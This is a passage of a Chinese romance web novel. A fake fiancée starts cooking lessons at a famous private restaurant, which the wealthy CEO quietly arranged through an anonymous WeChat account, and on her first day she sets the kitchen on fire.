陈结君怀疑他是在说客套话,或是想展示绅士风度,老实说这两者看起来都和他不太搭边。她作为一个有眼力见的假未婚妻,当然不能真的让他推掉工作送自己回家。
她体贴道:“那怎么行,我不能耽误你工作。”
前面开车的司机大哥留了个耳朵,听见陈结君的话,笑着说:“季总已经推掉了下一个行程,陈小姐不用担忧。”
推掉了行程送她回家,做、做戏做到了这种程度?!
像他这样的身价,时间就是金钱,推掉一个行程很可能亏损上千万,他们的婚约对深蓝科技这么重要?陈结君惊讶地看向季潭,后者对她的目光视若无睹,只冷冷看了眼车内后视镜,司机和他对视一瞬,背后一凉,默默闭上了嘴,按了个开关,挡板缓缓升起。
陈结君的心像升起的挡板一样,轻飘飘的,异样的感觉一闪而过,她忙把自己飘忽的心拽了回来,淡定淡定,他只是想拉着自己做戏而已,刚才写字楼多少人看着呢,做戏做全套,只能把她带上车了。
她想了想,提议道:“要不您先忙,让司机大哥送我回去?”
季潭眯起眼,“就这么不想我送?”
陈结君解释道:“不是,我是觉得没必要因为这点事取消行程,司机送我也一样的。”
季潭静静听她说完,视线才从她脸上挪开,目视前方。
“不是因为你取消的行程,你不用放在心上,我本来就不想去。”
“哦,这样啊。”陈结君松了口气,同时又觉得有点窘迫,他这么说,显得她又自作多情了。
“你来这里找人?”
陈结君回过神,道:“不是,我是来应聘的。”
“你要找工作?”季潭的声音有了波动。
“对啊。”陈结君看了他一眼,开玩笑道,“怎么,觉得我不像是有事业心的人?”
季潭道:“不是……”
陈结君却笑道:“你猜得没错,我确实没什么事业心,就想赚点钱而已。”
所以,你那三百万对我来说很重要,可得牢记在心啊。
她后半句还没说出口,就见季潭深以为然地点头道:“我明白,我是想问,你要来深蓝工作吗?”
陈结君一怔,脸上的表情一时没控制住,出现一丝裂痕。
大佬,您这话无异于在问:来加班吗?一起卷吗?
没听见她回话,季潭一眼看出她心里在想什么,缓缓道:“月薪两万,早九晚五,五险一金,还有额外补贴,怎么样?”
陈结君沉默片刻,谨慎地问:“会拖欠工资吗?”
季潭一怔。
【温馨提示:不得以任何形式对小树苗发放金钱,请宿主遵守规则哦。】
车里再次陷入寂静。
片刻,季潭淡淡道:“或许,你能接受我以资产转赠的形式支付薪酬吗?”
18. 学艺
陈结君还是婉拒了季潭的好意,他的哪样财产不是千万打底的,她可要不起。
权当他炫富了。
陈结君想学习的心更加迫切,回家后第一件事就是开卷子刷题。
回公司的路上,季潭正在处理公务,忽然听见系统欣慰道:【小树苗越来越争气了,才到家就开始刷题,宿主,你实现心愿指日可待啊!】
季潭沉默片刻,打开微信申请了一个小号。
添加陈结君的微信时,他斟酌许久,不知该如何开口,输入几个字,又都删了,就这样反复几次后,终于打出一句话。
陈结君正刷着题,手机屏幕忽然弹出消息提示。
她点开,是个好友申请,头像是一望无垠的大海,申请备注写着:金牌教育机构,教材免费赠送!
自从考证后,她为了省钱确实加了不少免费送资料的号,于是毫不犹豫点了通过。
J:在干嘛?
季潭指尖在屏幕上停留片刻,没有撤回消息,等了好一会,手机屏幕暗了又亮。
宇宙无敌白富美:你是?
季潭看着这两个字许久,笑了。他关上平板,靠在椅背上,两只手飞速打字。
J:锦鲤培训机构新春特惠,专业教师免费线上指导,您考试,我买单!我是金牌教师J,欢迎私信咨询。
陈结君沉默了,怎么听着假假的,不是应该让她关注公众号之类的,再发教材吗?
她点开这位老师的朋友圈,一片空白。
不知为啥,这片空白让她感觉与其他疯狂发广告的培训班老师截然不同,让她莫名有种不与世俗同流合污的世外高人感,她犹豫片刻,发了条消息。
宇宙无敌白富美:你好,请问有烹饪课程吗?
烹饪?
季潭沉默片刻,面不改色地回了一个字:有。
过了会,陈结君给他发了一张图,是一张初级厨师证。
宇宙无敌白富美:我想考这个证,请问有相关课程吗?
季潭淡定地回了句:稍等。
他退出聊天框,拨了一通电话。
陈结君等了会,没收到J的回复,就先刷课去了,看完两节营养师的理论课程后才收到培训机构的回复。
对方直接给了她一个地址,让她抽空过去上课。
陈结君皱眉,怎么感觉流程不太对,她谨慎地发了条消息:请问你们怎么收费?
对方许久未回,她又上网搜了一下那个地址,一看吓一跳,居然是一家私房菜馆,这个私房菜馆她也曾光顾过,店主叫赖铭,听说是厨艺界响当当的人物,厨艺精湛到出神入化的地步,二十岁时就周游世界宣传中国美食,在国外斩获许多奖项,直到五十岁才回国定居,几年后开了这家私房菜馆。但他很少亲自下厨,掌厨的是他的徒弟,她那次没能遇见赖铭,但尝了他徒弟的菜,确实是少有的人间美味。
什么样的机构居然请得动赖铭的徒弟给她上课?
隔了一个小时,对方终于回复她了。
J:他是我的朋友,你可以去免费试课。
反正是试课,又是知名的私房菜馆,陈结君第二天就收拾收拾过去了。出发前她还给张屿发了菜馆的地址,如果两小时后没回她消息,就让她过来找。
私房菜馆开在市中心的金融圈附近,店里一般下午开门,上课的时间只能是上午。
开门的是一位中年女人,陈结君记得她,上次她来吃饭,主厨就是她,姓什么倒忘了,只记得她身板壮实,有点三角眼,看起来有点凶,但在介绍菜的时候很认真,做的菜味道柔和,应该是个好相处的人。
陈结君笑笑,礼貌打招呼:“你好,我是今天来上课的学生。”
“你好。”她说着飞快地打量眼前的女孩。
为了方便活动,陈结君今天特意穿了长裤和卫衣,因为起得比较晚来不及化妆,白嫩素净的脸多了几分学生气。
看起来不太像做厨子的,女人的目光落在她的手上,一双手娇嫩白皙,一看就是被细心呵护的手,这双手上没戴任何饰品,她神色稍霁,问:“你真是来学厨的?”
陈结君点头,道:“是的!”
“进来吧。”女人走在她前头,店里空空的,其他员工似乎还没来,她带着陈结君往后厨走,一边道,“我姓花,你叫我花姐就行,你叫什么?”
陈结君自我介绍一番,然后说:“花老师,你叫我小陈就行。”
花姐停下脚步,诧异地回头,像听见什么不可思议的话:“你叫我什么?”
“花老师啊……”陈结君被她的反应搞懵了,难道厨艺界不流行叫老师?她马上补了句:“不合适?那我喊你花大厨?”
不知道哪句话戳中了笑点,花姐哈哈大笑,拍拍她的肩膀道:“小姑娘,我可不是你老师,你就喊我花姐吧。”
这家店一共有三位主厨,除去赖大厨之外,就剩花姐和另一位主厨,或许教她的是另外一位,陈结君点点头,道:“好的,花姐。”
前几日师父突然让她带个新人,花姐这些年带过的新人不少,但劳师父亲自开口的只有这一个。
她当下就知晓这人必定有来头,自然打起十二分精神,生怕来个娇纵的千金或少爷,没成想竟然是个乖巧的漂亮女孩,花姐越看越满意,对她也多了几分耐心。
两人一路走到后厨,花姐站定,指着面前的好几筐绿油油的菜,道:“这就是你今天的任务,择菜。”
她一个厨艺小白,到了这边肯定是从最底层做起,陈结君早有心理准备,择菜已经比她想象中要好很多了,点头应下。
花姐随手拿来一根菜心,耐心地示范:“像这样的菜心,一定要取中间最嫩的部位,千万不能过老过硬,摘下不要的菜叶丢这个框里,菜心放这边,一会择好了好清洗。”
这个她理解,她吃青菜也只吃最嫩的菜心,稍老一些的她一口就能尝出来。看起来也不难嘛,陈结君笑道:“我明白了,放心,我肯定择好!”
花姐闻言笑笑,给她拿来一张小板凳,拍拍她的肩膀道:“加油吧!”
目送花姐走后,陈结君摩拳擦掌,精神百倍地开工了。
一小时后,她择完了半筐菜,申了个懒腰,开始心疼被淘汰的菜叶子,它们其实也不太老,就这么扔了太可惜。
她一边择菜一边想着被淘汰的菜叶子们最后的归宿。
两个小时后,她已经在挑第二筐菜,手上的动作一丝不苟,但目光开始呆滞。
为什么要心疼菜叶子呢,有没有可能她现在也很可怜,很像流水线的打工人……
三个半小时后,陈结君开始捶腰,她看了眼剩下的最后一筐,开始怀疑自己是被骗来做白工的。
这阴险的世界!
餐厅二楼宽敞的包间里,花姐低眉垂目,恭敬地立在一位白发老人身旁,老人穿着唐装,身形削瘦,双眼却炯炯有神,这会正盯着房间对面的电视看,手有一下没一下地敲着椅子的扶手。
电视里陈结君捶完腰,又站起来拉伸了会,接着在厨房里转了转,出去了。
眼见她离开厨房,花姐心里暗道不好,虽然不知道师父为什么忽然来看一个学徒择菜,但他最厌恶半途而废,不肯吃苦的人,他曾直言这样的人不配做厨师。眼下陈结君表现好了另说,表现不好的话,可能一会就要被请出去了,花姐对陈结君印象不错,心里不由替她捏了把汗。
她偷偷觑了眼自家师父,果然脸已经黑了,眼睛也眯起来了,凭她与师父多年相处的经验,接下来他就要开金口请陈结君出去了。花姐正暗暗可惜,好不容易来了个可爱的小姑娘又要被赶走了,但她其实也认同师父的做法,
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如果想当厨师却连吃苦都做不到,那他注定不适合干这一行。
她正胡思乱想,却见师父陡然前倾了身子,睁大眼看着电视。花姐一愣,抬头看去,对面的电视不知何时出现一张放大的脸,年轻的肌肤好似会呼吸一般,即便怼到高清的监控面前仍让人感觉吹弹可破,陈结君眨巴着她的大眼睛,像在仔细观察这台监控机。
“咳嗯!”她清了清嗓子,问,“有人吗?”
清甜的少女声如春日的山风般吹过,花姐看了眼赖师父,犹豫了会,没出声。
陈结君站在原地等了会,没听见回答,以为是没有录音功能的监控,只好朝他们招手,又张大嘴,指了指嘴巴。
是要喝水的意思?花姐和赖师父对视一眼,都从对方小小的眼睛里看见了大大的疑惑。
半晌,赖师父笑了一声:“有意思。”
厨房里,陈结君对着监控摄像头比划半天都没见人来,不由懊恼,早知道就该先留个花姐的电话,也不至于一滴能喝的水都找不着,估计监控那头也没人,她垂头丧气地回到角落里继续择菜,还差一筐就能摘完了,到时再去问问花姐吧。
摘了一会,门口传来动静。
“花姐,我马上就挑完了!”她兴冲冲地抬头,却见来人是个瘦巴巴的老头子,不由愣住了。
“你是?”
老人递给她一瓶水,道:“你刚刚像只猴似的张牙舞爪,就是为了这个?”
陈结君看了眼突然出现的来历不明的老头,又看了眼他手里的水,来不及细想他的身份,已经嘴快道:“你才像只猴子!”
老人倒没和她计较,在她身边席地而坐,又朝她扬了扬手里的矿泉水,问:“不喝?”
“谢谢,现在不想喝了。”
她以为监控后面是花姐才打招呼的,结果来的是个老人家,看衣着也不像监控室的保安,不知道打哪进来的。她想了想,问:“你是来吃饭的客人?”
老人笑笑,没有否认,反而对她手里的菜叶子挺感兴趣,拿在手上翻来覆去地看了几遍,问她:“你摘的是什么菜?”
陈结君随口答道:“青菜啊!”
“我是想问你它的品种。”
陈结君看了他一眼,道:“怎么,你要考我啊?”
话说到这,她忽然灵光一闪,脱口而出:“你该不会是那个名厨赖师傅吧?”
“不算太笨。”赖师傅上下打量她好几遍,而后像下定决心般问她,“我可以收你为徒。”
陈结君坐在小板凳上,觉得她择了一上午菜叶子的脑袋已经不大清醒了,不然她一个年轻人,怎么会跟不上眼前这个年过半百的老人家的脑回路呢?
不等她问仔细,就听见赖师傅又补了句:“但我们的关系得保密。”
他这句话就等于在说:我可以勉为其难地、悄默声地收你为徒,但不能给你正牌徒弟的身份。
陈结君满腹疑问化作不爽,整得跟我求着当你徒弟似的,我就是来混个证的好吗?!
她毫不犹豫道:“您要是方便,指点一下我定感激不尽,但拜师还是算了吧。”
赖师傅一生纵横厨界,多少人求着要当他的徒弟,现在他看在那人的份上,也看在这小姑娘不容易的份上勉为其难收入门下,谁知这丫头脾气还挺倔。
他不喜欢强求,点头道:“也好,你这几天先跟着阿花学点基础。厨艺是门没有尽头的学问,如果你想以此谋生,就要做好一辈子吃苦的准备,至于你说的那什么资格证,只是你进入这一行的敲门砖罢了。”
说罢他站起身,迈着蹒跚的步伐离去,走到门口的时候忽然想起什么似的,回头看了眼她身侧的水,对她道:“喝吧,没下毒。”
陈结君看着他的身影消失在门口,不知怎的,觉得这位老师傅身上有股隐隐的Bking气质。
19. 偶遇
陈结君忙完手里的活,离饭点还有两个小时左右,十点的时候来了一男一女两个员工,是一对情侣。
寸头男人叫阿李,看起来三十多岁的样子,是花姐的帮厨,因为擅长刀功,大家叫他刀哥。女孩叫彩丽,是前台兼服务员,她吃饭时就见过一次,是个很开朗的人。
预约的第一桌客人十二点就会到,十一点左右花姐亲自下厨给他们做了顿饭,直接把陈结君香迷糊了。
饭后花姐见她快哭出来的模样,关心道:“怎么了?”
陈结君看着满桌子空盘,绝望低语:“我有预感,接下来的一个月里,我至少会胖十斤……”
她一副天塌下来的模样把大家逗乐了,彩丽安慰她:“放心吧,咱们后厨的运动量,胖不了十斤,最多五斤!”
陈结君礼貌微笑,五斤也没有好到哪儿去……
客人陆续上门,一整个下午她都在厨房帮忙备菜,需要刀工的活暂时还轮不到她,能做的也只有削削土豆皮,剥一下豌豆之类的小事,偶尔帮忙传菜,没有一刻停歇。
等她终于有空喝上一口水,欣赏阿李的刀功时,外头的万里碧空已经悄然变幻,晚霞漫天,绚烂惊人,让她有种风雨后见到彩虹的惊喜感。
彩丽走进厨房,就见陈结君看着厨房那扇大玻璃窗出神,走过去拍拍她的肩膀,笑着说:“听说装修这家餐厅时,赖师傅最看重的就是厨房,这扇大窗户就是按他的要求做的,很漂亮吧?”
陈结君点头,道:“嗯,很美。”
没想到赖师傅是个这么浪漫的人,能想出这样的点子,想必做出来的食物也很动人。
“你们俩个!偷懒是吧?!”花姐一边颠勺一边转头看她们,灶台上的火随着她的怒吼暴涨,像一条成了精的火龙。
陈结君和彩丽忙低头跑来,各自干活去了。
彩丽背对着花姐,抚着心口宽慰陈结君:“花姐什么都好,就是做饭的时候太凶了,她喊过就忘了,你别放在心上。”
陈结君点点头,刚要去阿李那边找点活干,手腕被彩丽拉了一下,听她道:“最后一桌菜都备好了,你在这也帮不上忙,不如跟我去前边。”
陈结君只以为前厅需要帮忙,跟着彩丽出去了,刚踏入前厅却猝不及防被彩丽拉到一个盆栽后头,陈结君正要开口询问,就听彩丽道:“嘘!别出声,带你看神级帅哥。”
神级?陈结君挑眉,朝大厅看去,别说帅哥,连个人影都没有,她目光复杂地看向彩丽。
彩丽瞪她:“别用这种看神经病的眼神看我!人还没来呢!”
“没来你躲什么?”
“你不懂,这个帅哥不喜欢人多,每次来都是赖师傅招待的,咱俩只有偷看的份。”
她是来学厨艺的,可不是来看帅哥的,陈结君兴趣缺缺:“那你慢慢看,我去后厨瞧瞧。”
阿李的刀功实在酷炫,她有点想学。
还未走就被彩丽拉住了,她低声道:“别啊,一起看嘛!我保证,他绝对不会让你失望,神颜级别!”
陈结君见过的帅哥里,能称得上神颜的不超过三个,但要论她心里最top级别的,目前还没有。
曾经倒是有一个,可惜他们有缘无分。现在想想,当时的她对周睿泽更多的是欣赏,他擅国画,从内而外透着儒雅的气质,戴上眼镜更是斯文秀气,她对戴眼镜好看的男人有天然滤镜,被迷住也不奇怪。
说到戴眼镜,陈结君脑中浮现季潭坐在车里戴着金边眼镜处理工作的样子,当时雷雨渐消,微弱的阳光穿过车窗落在他俊美的脸上,他似乎察觉到她的目光,微微侧头朝她看来……
他的五官太精致,戴上眼镜没有周睿泽那样浓重的文艺气息,反而像古堡里的贵族侯爵。
神颜!
想起那个画面,陈结君心里冷不丁冒出这个词,这货才是真正的神颜吧!
“来了!”
彩丽低声说,手激动地扯了扯她的围裙,示意她朝门口看去。
陈结君回过神,抬头看去,门被一只修长的手拉开,高大的身影很快出现在大厅里。
陈结君一愣,这身影怎么看着有点眼熟?
待那人绕过绿植走进来,陈结君终于看清他的脸,倒吸一口冷气——这不是季潭嘛!
彩丽兴奋地扭头看陈结君,却意外地发现她脸上没有惊艳的神情,反而垂着肩膀,略有些失望的样子。
季潭已经走到窗边的位置坐下,刚婉拒了他的offer,转眼就在餐厅当帮厨,陈结君用膝盖想都知道他脸上会出现什么表情。
在这碰面实在尴尬,还好她是后厨的人,陈结君缩回身子,对身旁的彩丽小声道:“后厨还有活,我先进去了。”
彩丽眼神复杂,拉住她小声道:“你不喜欢这款的?”
陈结君点点头,指了指后厨,道:“我先进去啦!”
陈结君刚踏进后厨房,就见的气氛有些凝重,刀哥和花姐垂手恭敬地站在一旁,再一看,掌勺的是赖师傅,这倒不奇怪了,哪有徒弟不怕师父的。
赖师傅见她来了,随口道:“过来站着。”
陈结君走过去站在花姐旁边,有点期待这位厨神的手艺。
出乎她的意料,赖师傅没用什么华丽的技巧,但动作干净利落,分毫不差,年近古稀的老人家拿着铲子站到灶台前,竟比年轻人还要灵活从容。
他很快炒完一道菜,扭头对陈结君道:“看清楚了吗?”
陈结君一愣,立马摇头。
厨神口中的“看清楚”绝不是字面上的“看清楚”。
赖师傅却把铲子一放,道:“从今天起,七号桌的客人由你负责。”
这话一出,刀哥倒吸一口冷气,花姐相对稳重些,为了不失态狠狠掐了下手臂,因掐得太狠下意识“嘶”了一声。
赖师傅瞪过去,“不服气?”
“没有没有没有!”
花姐和刀哥连连摇头。
陈结君看了眼摇头晃脑的同事,又看向赖师傅,问:“我负责什么?”
赖师傅看了她一眼,倒没开骂,只冷哼一声,甩袖走人了。
陈结君莫名其妙。
花姐见赖师傅走出厨房,才凑过去打量她一眼,问:“你到底什么来头?”
陈结君莫名其妙,问:“负责七号桌是什么意思?哪张桌是七号桌?我具体负责什么?”
花姐把铲子递给她,道:“师父的意思是,以后七号桌的菜由你负责。”
“我?!”陈结君目瞪口呆,连忙道,“我不行的,我连饭都没做过!”
“花姐,要不您受累……”陈结君笑着把铲子往回推,被花姐一把推了回来。
“师父发话,我也帮不了你。”
陈结君绝望之下看向一旁的大块头,“刀哥,您看……”
“这么快就能掌勺了啊。”刀哥的目光
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复杂中带着几分嫉妒,最终拍拍她的肩膀,千言万语汇成一句话:“加油!”
陈结君没想到学习第一天就要做菜给客人吃,一张水嫩的脸都快愁成苦瓜脸,哀声道:“你们就不怕我把客人毒死了?”
刀哥看了她一眼,道:“要是人吃出个好歹来,希望你一人做事一人当。”
花姐还算良心未泯,安慰道:“那位客人从不点菜,我们上什么他就吃什么,你就挑简单的做。”
陈结君没办法,只好紧急搜了一道炒鸡蛋的教程,把手机用支架夹住放在一旁,神色凝重地开始做人生第一道菜。
后厨陈结君焦头烂额,前厅却是茶香四溢,一派岁月静好。
季潭闲适地靠在沙发椅上,手里捧着一本厚厚的书,赖师傅看了眼封面,全是不认识的字母,他收回目光,道:“这事结束后,我欠你的人情可就还清了。”
季潭合上书本,直起身子为他倒茶,淡声道:“爷爷喜欢您做的菜,我留下这家餐厅也是为了爷爷,算不得人情。这次是您帮了我这个小辈的忙,该我欠您一次人情。”
赖师傅走南闯北,见过不少大富大贵的人,鲜少有像眼前这个年轻人一般身价,还能对他这个厨子礼遇有加的人。
他很受用,脸上不自觉露出几分笑意,语气也比平时和缓:“无论如何,都要感谢你出面保下这块地皮,否则我这会都不知道该上哪养老去咯!”
“不过,我本不该问,但好歹跟你爷爷有几分交情,自个心里确实好奇,要是不问吧,这心里的疑惑多了,也就影响食物的味道,所以冒昧问一句,你跟那丫头……”拐弯抹角说了一堆,赖师傅看了眼他的脸色,朝后厨抬抬下巴,问,“你俩是认真的?”
季潭笑笑,“当然。”
“这样啊……”赖师傅叹了口气,“可惜咯,还想介绍我那孙女给你认识认识,看来你们没缘分。”
赖师傅说完,把茶水一饮而尽,站起身道:“我该去打牌了,那丫头在厨房给你做饭呢,既然是真情侣,想来食物中毒也不会想我这个老头子索赔吧?”
季潭一怔,皱起眉头,“才第一天就让她做饭?”
赖师傅没做成媒,心里正不爽,闻言不由挑眉,道:“怎么?怕被毒死啊?”
却听见季潭几乎在同一时间说:“她有没有受伤?”
赖师傅一顿,一颗看破红尘的老心脏突然被人泼了一大盆清晨的露水,哗啦一声冲洗得干干净净。
他讶异地看着眼前的年轻人,要说起来,季老爷子出事前,他也算有缘见过这孩子几次,加上那老头成天把亲孙子夸得天花乱坠,对于季潭他还算有几分了解。
聪慧沉稳,骨子里却是个淡漠的人。这样的竟然也逃不过美人关,还是年轻呐!
他摆摆手,道:“要学艺哪有不吃苦的,你家这位不是个娇气的,你就放心吧。”
赖师傅走后,季潭又翻开刚才那本书,却怎么也静不下心看。
彩丽坐在前台,就见这位大帅哥手里的书半天不翻页,反倒时不时扭头看一眼后厨的方向。
她看了眼时钟,发现他进来已经有一个半小时了,一道前菜都还没上,八成是饿坏了。
彩丽有点坐立难安,正纠结要不要去厨房催催,就猛地听见“砰”的一声,是后厨的方向。
小君不会把厨房给炸了吧!她连忙起身,就见一道身影旋风似的从她面前呼啸而过,冲进了后厨。
20. 不熟的朋友
天花板的烟感器尖锐地发出警报,一波水把站在下方的几个人淋了个透心凉。
陈结君僵硬地站在原地,她这辈子都想不到,自己这双能化精致妆容的巧手竟然还有炸厨房的功能。
方才那锅里的火都快蹿上天花板了吧?!
好在花姐没走远,见势不对立刻冲上来一锅盖扣下去,那火龙被拍回锅里,不甘地冒着缕缕黑烟。
她心有余悸地咽了下口水,正要开口道歉,一道清风拂来,下一秒手腕被人握住,一件厚实的外套把她裹了起来。
陈结君抬头,愣愣地看着眼前的男人。
他怎么闯进来了?
季潭顾目光落在陈结君身上,见她脸色有些苍白,但人还好端端的,这才松了口气,道:“没事就好,你才来多久,就敢下厨了?”
第一天就炸了人家的厨房,陈结君本就觉得愧疚,听他这么说,又委屈又气,她再怎么错也轮不到他来指责吧!当即冷下脸:“你进来做什么?”
“我……”季潭敏锐地观察到她表情不对,生怕她发现那个J是他的小号,低咳一声,道,“我听见里头那么大动静,才想进来看看。”
那你吃瓜的速度也太快了吧!想到他刚刚冲进来的样子,陈结君狐疑地看着他,总觉得里头有点不对劲。
季潭不是个爱凑热闹的人,就算厨房炸了,以他的性子,只会打119,绝不可能莽撞地冲进来。
想起他刚才的话,“才来多久”?
她疑惑道:“你怎么知道我是店里新来的?”
季潭抬手指了指还在冒烟的锅,语气缓慢:“这还用猜?”
陈结君看了眼一片狼藉的灶台,心虚地挪开目光。
“况且,我以前常来,从没见过你。”
合情合理,陈结君无话可说,看了眼花姐和刀哥,还有站在门口一脸震惊的彩丽仍立在原地,惊动了这么多人,她心里越发不好受,惭愧道:“实在对不住,我,我赔偿的。”
“没事没事,”花姐安慰道,“你以前没做过饭,突然下厨被吓到很正常的。”
“该赔还是要赔的,你算算多少钱,我转给你吧。”话是这么说,但她的心已经开始滴血了,这个锅一看就不便宜……还有被火燎黑的墙壁也要重新刷,她只能安慰自己,就当交学费了。
“这个,赔偿就不用了,锅洗洗还能用的。”花姐看了眼一旁的季潭,这位大帅哥跟自家师父交情不浅,看样子与小陈也是旧相识,说不定小陈就是他介绍过来的。
再者,师父突然让一个从未进过厨房的人下厨,本就不妥。她和气道:“墙面也好办,网上随便买点漆自己刷刷就好了。”
“不过,你们认识?”
陈结君和季潭对视一眼,季潭颔首,“她是我的……”
“朋友!”陈结君补充道,“不太熟的那种。”
季潭的话被打断,眉头微皱,倒也没开口反驳她。
花姐的目光在两人之间流转,一副“我懂了”的表情,笑着说:“原来是季先生的朋友啊,呵呵,怪不得师父对小陈如此关照。”
陈结君一愣,讶异地看向季潭,他认识赖师傅不奇怪,但他怎么知道她会来这家餐厅学习,还提前和赖师傅打招呼?她心里一动,冒出一个不可思议的可能来。
然而不等她细想,就听见季潭道:“你误会了,我也是今天才知道她在这里,至于赖叔为什么关照她,我也不太清楚。”
“这么巧?那你们可真有缘份。”花姐说完对愣在门口的彩丽使眼色,“对吧,彩丽?”
彩丽目光在两人之间来回看了几遍,朝陈结君眨眨眼,笑着说:“对啊对啊,也太有缘分了!”
陈结君打了个寒战,总感觉她们哪里怪怪的。
季潭冷不丁问:“你有备用衣服在这吗?”
陈结君摇摇头,这才想起身上的衣服已经淋湿,刚才被季潭的外套裹着没吹着风,这会湿衣服把最下边的秋衣也给渗透了,贴着皮肤冷冰冰的,怕是要冻感冒了。
好在彩丽举手道:“那个,我放了一套干净衣服在这,不介意的话,可以穿我的。”
陈结君跟着彩丽上楼,听她兴奋地说:“怪不得你看到他这么淡定,原来早就见过了啊!我就说嘛,没有人会不被他惊艳,简直谪仙下凡,自带万丈光芒!光是这张脸,就能让人沉迷,更何况他还有钱,个子还高,身材还那么好……”
陈结君笑道:“哪有这么夸张。”
“一点也不夸张!”彩丽正经道,“你敢说第一次见他时没觉得惊艳?”
第一次见季潭啊,陈结君仔细回想了一下,好像有点太久远,那会他们还是刚上幼儿园的小豆丁,在她的成长道路上,季潭好像一直是个不合群的人,别人聚在一起做游戏,玩玩具,他就独自在一旁搭积木,看书,反正就是玩不到一起。
不过他长得一直是公认的好看,要不以他不合群的性子,早被当成透明人了,哪还有后来声名远播的校草头衔。彩丽还眨巴着眼睛期待她的回答,陈结君只得含糊道:“应该惊艳过吧。”
毕竟她从小到大都是颜控,季潭最让她记忆深刻的除了家世,就只剩那张祸国殃民的脸了。
审美被肯定了,彩丽与有荣焉,骄傲道:“我就说嘛!”
彩丽带着她进了一个小房间,对她道:“这家店会为员工准备休息室,你的休息室还没来得及清扫,等明天阿姨上班就会收拾的。”
她打开衣柜,在里头翻出一套衣服给她,“这套衣服是我上个月买的,就洗了一次,还没穿过,你试试看。”
“谢谢。”陈结君接过衣服,问,“多少钱买的?我转给你吧。”
“不用。”彩丽朝她挤挤眼,“你有空帮我问问季先生,有没有帅哥朋友介绍给我就行了,比他差点也行!”
“那刀哥怎么办?”
“男人嘛,一个也是谈,两个也是谈,没差的。”彩丽一副百花丛中过的洒脱模样朝她摆摆手,走了。
太潇洒了,她喜欢!
陈结君看着她的背影,在心里为刀哥祈祷一秒钟。
十分钟后,陈结君整理好衣服,拎着装了脏衣服的袋子下楼,刚走到拐角处,就见季潭靠着墙站在楼梯边。
屋里开着暖气,他把衬衣袖子挽到手肘处,正拿着手机打电话,时不时应一声,说几句话,不用猜也知道,一定又是谈工作。
陈结君发现他今天的发型比以往更精致些,衣服也像精心搭配过,很衬他的霸总气场。
她想,估计是有重要的合作要谈,才穿得用心一些,他向来注重细节。
陈结君低头往下走,季潭听见动静,一抬头就看见了她,似乎愣了下,目光落在她修长的腿上,皱起眉头。
彩丽性格活泼,穿搭也更大胆精致,上身是一件一字肩毛衣,裙子比她以往穿的都要短一些,但好在有安全裤在,只要走动小心些是不会走光的。
话虽如此,这会季潭站在下方,这个角度看上来属实有点尴尬,好在他只看了一眼就皱着眉头看向别处,嫌弃之情溢于言表。
陈结君瘪瘪嘴,不自在地把裙摆往下拉了拉,心想一会还是跟花姐告个假,先回家去。
经过季潭时,她把挂在手上的大衣递给他,道:“谢谢你的衣服。”
她本想把衣服还给他就走,哪知季潭对电话那头道:“先这样,文件晚上发我邮箱。”
说完挂了电话。
陈结君保持伸着手的姿势,等了会不见他接,疑惑地看了他一眼,忽然想起什么,恍然道:“是我疏忽了,应该洗完再还你的。”
不过,这件大衣一看就将近七位数,可不是普通洗衣房能接的活,万一洗坏了她可赔不起。她倒是知道哪里能接这个活,但价格肯定不低,一想到要花大价钱洗衣服,她的心又开始滴血了。
季潭却道:“不用洗,送你了。”
陈结君听完也不知是生气多些,还是惊讶更多些,瞪大眼道:“送我了?”
“嗯,穿上。”季潭垂眸,不着痕迹地看了眼她露出来的一小块锁骨,还有短裙下白花花的细腿,打心眼里庆幸自己今天穿了这件大衣。
陈结君是有多嫌弃她啊!穿了不到二十分钟,七位数说不要就不要了。
不过,她眼波一转,这么好的衣服,看起来才穿了一两次,放网上应该能卖不少钱吧,就当财神爷发钱了呗!
“那谢谢啦。”
她把大衣小心叠好,扭头到处找干净的袋子,季潭的目光随她而动:“你在干什么?”
“找袋子啊!”陈结君头也不回道:“季总送的东西当然要好好收起来了!”
“何必那么麻烦,穿身上不是更好?”季潭看向她手里的旧衣服,补了句,“还能少拎个袋子。”
这句话说进她心坎里了,陈结君最讨厌的事就是拎东西,以前她出门总爱带上几个工具人帮她拿东西,末了在一堆奢侈品中挑一两样送给对方,皆大欢喜。
直到做为她的工具人之一的陈秀秀翻脸,指着她的鼻子骂她这样的行为是在侮辱人,陈结君才惊讶地发现,原来世上还有如此清新脱俗的人,拿她东西的时候可一点没手软。
又当又立也是让她玩明白了。
话说回来,现在这件大衣要拿去卖掉,她穿身上,万一弄脏了怎么办?
陈结君纠结了会,在受冻和赚钱之间选择了拼车,她果然吃不了一点苦。拼车回去价格不算贵,还不用受冻,又能保住这件价格不菲的大衣,这个办法堪称绝妙。
季潭见她不出声,抬手在她面前挥了挥,问:“怎么?”
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“没什么,我一会打车回去就行了。”陈结君说话的空挡,看见彩丽的鬼鬼祟祟身影在远处一闪而过。
陈结君快步上前抓住她的手腕,“彩丽,你知道哪有干净的袋子吗?”
“袋子啊?有有有!”
磕cp突然被抓包,彩丽不敢抬头看季潭的表情,一溜烟跑去前台拿了个干净的袋子给她。
袋子是餐厅的纸质手提袋,给客人装打包盒用的,有点小。陈结君把大衣叠得整整齐齐的,小心地装进纸袋里。
彩丽在一旁默默降低存在感,眼睛却亮晶晶地看着那件男士大衣,一看就是季先生刚刚借给陈结君的。
季潭无奈地看着她把大衣装袋子里,拿出手机给孟鑫发了条消息。
“怎么都聚在这儿?”花姐从厨房走出来,招呼道,“小陈,你带季先生去包厢,你们这么有缘分,要不一起喝杯茶叙叙旧,小陈今天也辛苦了,菜我做好了给你们送过去就成。”
“不用不用。”陈结君把两个袋子收进前台的柜子里,起身朝后厨走去。
不料没走出几步,手腕被人轻轻握住,季潭侧身看她:“你去哪?”
“我,我去厨房收拾一下。”陈结君话音刚落,就见他又皱起了眉头,有一说一,季潭这张脸别说只是皱眉,就算翻白眼也是好看的,只是他今天皱眉的次数是不是有点太多了?
陈结君是个不爱自省的人,但金主的心情决定了她的钱包厚度,看在他刚送了件大衣的份上,她决定自我反思一下,今天到底做了什么让季潭如此不耐烦。
不想不要紧,一想还真都与她有关,第一次是在她火烧厨房时,第二次是她穿着这身辣妹装从楼梯走下来的时候,第三次就是刚才,她说要去收拾厨房的时候……
陈结君飞快得出结论:季潭觉得她作为未婚妻,给他丢脸了。
倒也可以理解,青城一把手的未婚妻在一家私厨做帮厨,还把厨房给烧了,要是传出去,不知会笑掉多少仇家的大牙。陈结君认为他有这样的心理完全可以理解,好在她提前防了一手,没有暴露自己的身份,甚至连全名都没告诉花姐他们。
